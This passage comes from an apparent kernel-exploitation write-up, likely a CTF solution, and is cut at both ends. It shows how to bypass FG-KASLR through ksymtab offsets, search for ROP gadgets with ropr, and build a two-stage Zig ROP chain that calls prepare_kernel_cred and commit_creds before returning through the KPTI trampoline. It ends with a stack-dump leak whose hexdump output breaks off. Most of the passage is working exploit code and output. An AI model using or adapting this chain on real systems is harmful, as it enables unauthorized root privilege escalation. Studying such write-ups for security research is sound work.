</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_prepare_kernel_cred&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#00bcff">0xffffffff90fa4d42</span>: <span style="color:#79a8ff">&#34;__kstrtabns_commit_creds&#34;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>diff <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>invariants <span style="color:#00d3d0">=</span> []
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> ((addr1, sym), addr2) <span style="color:#00d3d0">in</span> <span style="color:#f78fe7">zip</span>(ksyms1<span style="color:#00d3d0">.</span>items(), ksyms2<span style="color:#00d3d0">.</span>keys()):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> sym <span style="color:#00d3d0">==</span> <span style="color:#79a8ff">&#34;startup_64&#34;</span>:
</span></span><span style="display:flex;"><span>        diff <span style="color:#00d3d0">=</span> addr1<span style="color:#00d3d0">-</span>addr2
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (addr1<span style="color:#00d3d0">-</span>addr2) <span style="color:#00d3d0">==</span> diff:
</span></span><span style="display:flex;"><span>            invariants<span style="color:#00d3d0">.</span>append(sym)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(<span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>invariants<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> left invariant under FG-KASLR&#34;</span>)</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[&#39;secondary_startup_64&#39;, &#39;__startup_64&#39;, &#39;swapgs_restore_regs_and_return_to_usermode&#39;, &#39;__ksymtab_commit_creds&#39;, &#39;__ksymtab_prepare_kernel_cred&#39;, &#39;__kstrtab_commit_creds&#39;, &#39;__kstrtab_prepare_kernel_cred&#39;, &#39;__kstrtabns_commit_creds&#39;] left invariant under FG-KASLR</span></span></code></pre></div>

<p><kbd>prepare_kernel_cred</kbd> and <kbd>commit_creds</kbd> are affected by FG-KASLR, but the KPTI trampoline, <kbd>__ksymtab_commit_creds</kbd> and <kbd>__ksymtab_prepare_kernel_cred</kbd> are fine.</p>
<p>What is <kbd>__ksymtab</kbd>?
There needs to be some way for kernel modules to be able to see symbols exported by the kernel or other kernel modules, so <a href="https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L72-L76">ksymtab</a> is a struct (<strong>which has an address that is a fixed offset from the kernel base address</strong>) that stores information about a symbol, such as the address offset relative to the corresponding ksymtab struct.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>
So if we get the address of <kbd>__ksymtab_commit_creds</kbd> and then add <kbd>__ksymtab_commit_creds.value_offset</kbd><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> to it, we get the address of <kbd>commit_creds</kbd>.</p>
<p>With that in mind, let&rsquo;s find gadgets to build our payload (restricting our search to the beginning of the kernel which, as we observed earlier, is not affected by FG-KASLR, just regular KASLR).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81400dc6 -R <span style="color:#79a8ff">&#39;^(pop rdi;|pop rax;|pop rbx;|pop rdx;|push rax;|mov eax, \[rax+.{3,5}\]; .*|add (r|e)ax, (r|e)di;) ret;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81004aae: mov eax, [rax+0x10]; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff81004d11: pop rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff81006123: push rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff810075d0: pop rbx; ret;
</span></span><span style="display:flex;"><span>0xffffffff81007616: pop rdx; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100767c: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100dad3: mov eax, [rax+0xe0]; pop rbp; shr eax, 1; and eax, 1; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012551: add rax, rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012552: add eax, edi; ret;</span></span></code></pre></div>

<p>I couldn&rsquo;t find a way to move the result of <kbd>prepare_kernel_cred(0)</kbd> into <code>rdi</code> with the gadgets we have to work with, so I opted to split the payload into 2 pieces.</p>
<p><a id="code-snippet--kaslr"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8100767c</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004d11</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RBX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff810075d0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81007616</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> PUSH_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81006123</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004aae</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_RAX_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012551</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_EAX_EDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012552</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KSYMTAB_PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81f8d4fc</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KSYMTAB_COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81f87d90</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain1</span>(writer<span style="color:#00d3d0">:</span> anytype, fd<span style="color:#00d3d0">:</span> std.posix.fd_t, canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        KSYMTAB_PREPARE_KERNEL_CRED<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI,
</span></span><span style="display:flex;"><span>        KSYMTAB_PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        (KSYMTAB_PREPARE_KERNEL_CRED <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">32</span>,
</span></span><span style="display:flex;"><span>        ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PUSH_RAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        POP_RBX,
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#f78fe7">@intCast</span>(fd)),
</span></span><span style="display:flex;"><span>        POP_RDX,
</span></span><span style="display:flex;"><span>        canary,
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2ROP),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2ROP</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> creds<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [ret] <span style="color:#79a8ff">&#34;={rax}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [fd] <span style="color:#79a8ff">&#34;={rbx}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;&#34;</span> <span style="color:#00d3d0">:</span> [canary] <span style="color:#79a8ff">&#34;={rdx}&#34;</span> (<span style="color:#00d3d0">-&gt;</span> <span style="color:#6ae4b9">u64</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">runROPChain</span>(<span style="color:#f78fe7">@as</span>(std.posix.fd_t, <span style="color:#f78fe7">@intCast</span>(fd)), canary, creds) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain2</span>(writer<span style="color:#00d3d0">:</span> anytype, creds_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        KSYMTAB_COMMIT_CREDS<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        POP_RDI,
</span></span><span style="display:flex;"><span>        KSYMTAB_COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        (KSYMTAB_COMMIT_CREDS <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">32</span>,
</span></span><span style="display:flex;"><span>        ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        creds_addr,
</span></span><span style="display:flex;"><span>        PUSH_RAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> ROPChain <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">union</span>(<span style="color:#b6a0ff">enum</span>) {
</span></span><span style="display:flex;"><span>    canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>    creds_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">runROPChain</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t, canary<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, creds_addr<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span><span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> file <span style="color:#00d3d0">=</span> (std.fs.File{ .handle <span style="color:#00d3d0">=</span> fd }).<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bw <span style="color:#00d3d0">=</span> std.io.<span style="color:#feacd0">bufferedWriter</span>(file);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> writer <span style="color:#00d3d0">=</span> bw.<span style="color:#feacd0">writer</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, tmp_size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeByteNTimes</span>(<span style="color:#00bcff">0</span>, (<span style="color:#00bcff">8</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">3</span>));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (creds_addr) <span style="color:#00d3d0">|</span>caddr<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">ropchain2</span>(writer, caddr);
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">ropchain1</span>(writer, fd, canary);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> bw.<span style="color:#feacd0">flush</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RBX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>PUSH_RAX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_EAX_ADDROF_RAX_PLUS_16_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_RAX_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_EAX_EDI,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KSYMTAB_PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>KSYMTAB_COMMIT_CREDS,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Now we just need a leak to defeat regular KASLR.</p>
<p><a id="code-snippet--kaslr-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">dumpStack</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">350</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0</span>..bytes_read]);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Let&rsquo;s compare the output of <kbd>dumpStack</kbd> before and after a reboot to see what remains the same:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Diff</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#5bc4bf;font-weight:bold">1,22c1,22
</span></span></span><span style="display:flex;"><span><span style="color:#5bc4bf;font-weight:bold"></span><span style="color:#ef6155">&lt; 00007ffccba8e082  20 10 60 87 D3 8C FF FF  E0 0F 00 00 00 00 00 00   .`.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e092  00 7D 35 B9 68 99 63 84  10 D6 CA 86 D3 8C FF FF  .}5.h.c.........
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0a2  68 FE 1B 80 1A B9 FF FF  04 00 00 00 00 00 00 00  h...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0b2  00 D6 CA 86 D3 8C FF FF  F0 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0c2  00 D6 CA 86 D3 8C FF FF  80 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0d2  D7 7B E8 A3 FF FF FF FF  D7 7B E8 A3 FF FF FF FF  .{.......{......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0e2  00 D6 CA 86 D3 8C FF FF  00 00 00 00 00 00 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e0f2  82 E0 A8 CB FC 7F 00 00  A0 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e102  00 7D 35 B9 68 99 63 84  5E 01 00 00 00 00 00 00  .}5.h.c.^.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e112  00 00 00 00 00 00 00 00  D8 FE 1B 80 1A B9 FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e122  2F 28 09 A4 FF FF FF FF  00 D6 CA 86 D3 8C FF FF  /(␉.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e132  00 D6 CA 86 D3 8C FF FF  82 E0 A8 CB FC 7F 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e142  5E 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ^...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e152  20 FF 1B 80 1A B9 FF FF  A7 22 1A A4 FF FF FF FF   ........&#34;......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e162  F1 11 23 A4 FF FF FF FF  00 00 00 00 00 00 00 00  ..#.............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e172  00 7D 35 B9 68 99 63 84  58 FF 1B 80 1A B9 FF FF  .}5.h.c.X.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e182  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e192  00 00 00 00 00 00 00 00  30 FF 1B 80 1A B9 FF FF  ........0.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1a2  DA 19 2E A4 FF FF FF FF  48 FF 1B 80 1A B9 FF FF  ........H.......
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1b2  57 A1 A0 A3 FF FF FF FF  00 00 00 00 00 00 00 00  W...............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1c2  00 00 00 00 00 00 00 00  8C 00 C0 A3 FF FF FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155">&lt; 00007ffccba8e1d2  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ..............
</span></span></span><span style="display:flex;"><span><span style="color:#ef6155"></span><span style="font-weight:bold">---
</span></span></span><span style="display:flex;"><span><span style="font-weight:bold"></span><span style="color:#48b685">&gt; 00007ffcef2175d2  20 20 60 47 F0 90 FF FF  E0 0F 00 00 00 00 00 00    `G............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2175e2  00 0E 76 FC EA 35 42 B0  10 DC CA 46 F0 90 FF FF  ..v..5B....F....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2175f2  68 7E 1C C0 28 A9 FF FF  04 00 00 00 00 00 00 00  h~..(...........
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217602  00 DC CA 46 F0 90 FF FF  F0 7E 1C C0 28 A9 FF FF  ...F.....~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217612  00 DC CA 46 F0 90 FF FF  80 7E 1C C0 28 A9 FF FF  ...F.....~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217622  97 45 2E B3 FF FF FF FF  97 45 2E B3 FF FF FF FF  .E.......E......
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217632  00 DC CA 46 F0 90 FF FF  00 00 00 00 00 00 00 00  ...F............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217642  D2 75 21 EF FC 7F 00 00  A0 7E 1C C0 28 A9 FF FF  .u!......~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217652  00 0E 76 FC EA 35 42 B0  5E 01 00 00 00 00 00 00  ..v..5B.^.......
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217662  00 00 00 00 00 00 00 00  D8 7E 1C C0 28 A9 FF FF  .........~..(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217672  AF E5 28 B3 FF FF FF FF  00 DC CA 46 F0 90 FF FF  ..(........F....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217682  00 DC CA 46 F0 90 FF FF  D2 75 21 EF FC 7F 00 00  ...F.....u!.....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217692  5E 01 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ^...............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176a2  20 7F 1C C0 28 A9 FF FF  C7 2E 70 B3 FF FF FF FF   ...(.....p.....
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176b2  B1 59 70 B3 FF FF FF FF  00 00 00 00 00 00 00 00  .Yp.............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176c2  00 0E 76 FC EA 35 42 B0  58 7F 1C C0 28 A9 FF FF  ..v..5B.X...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176d2  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
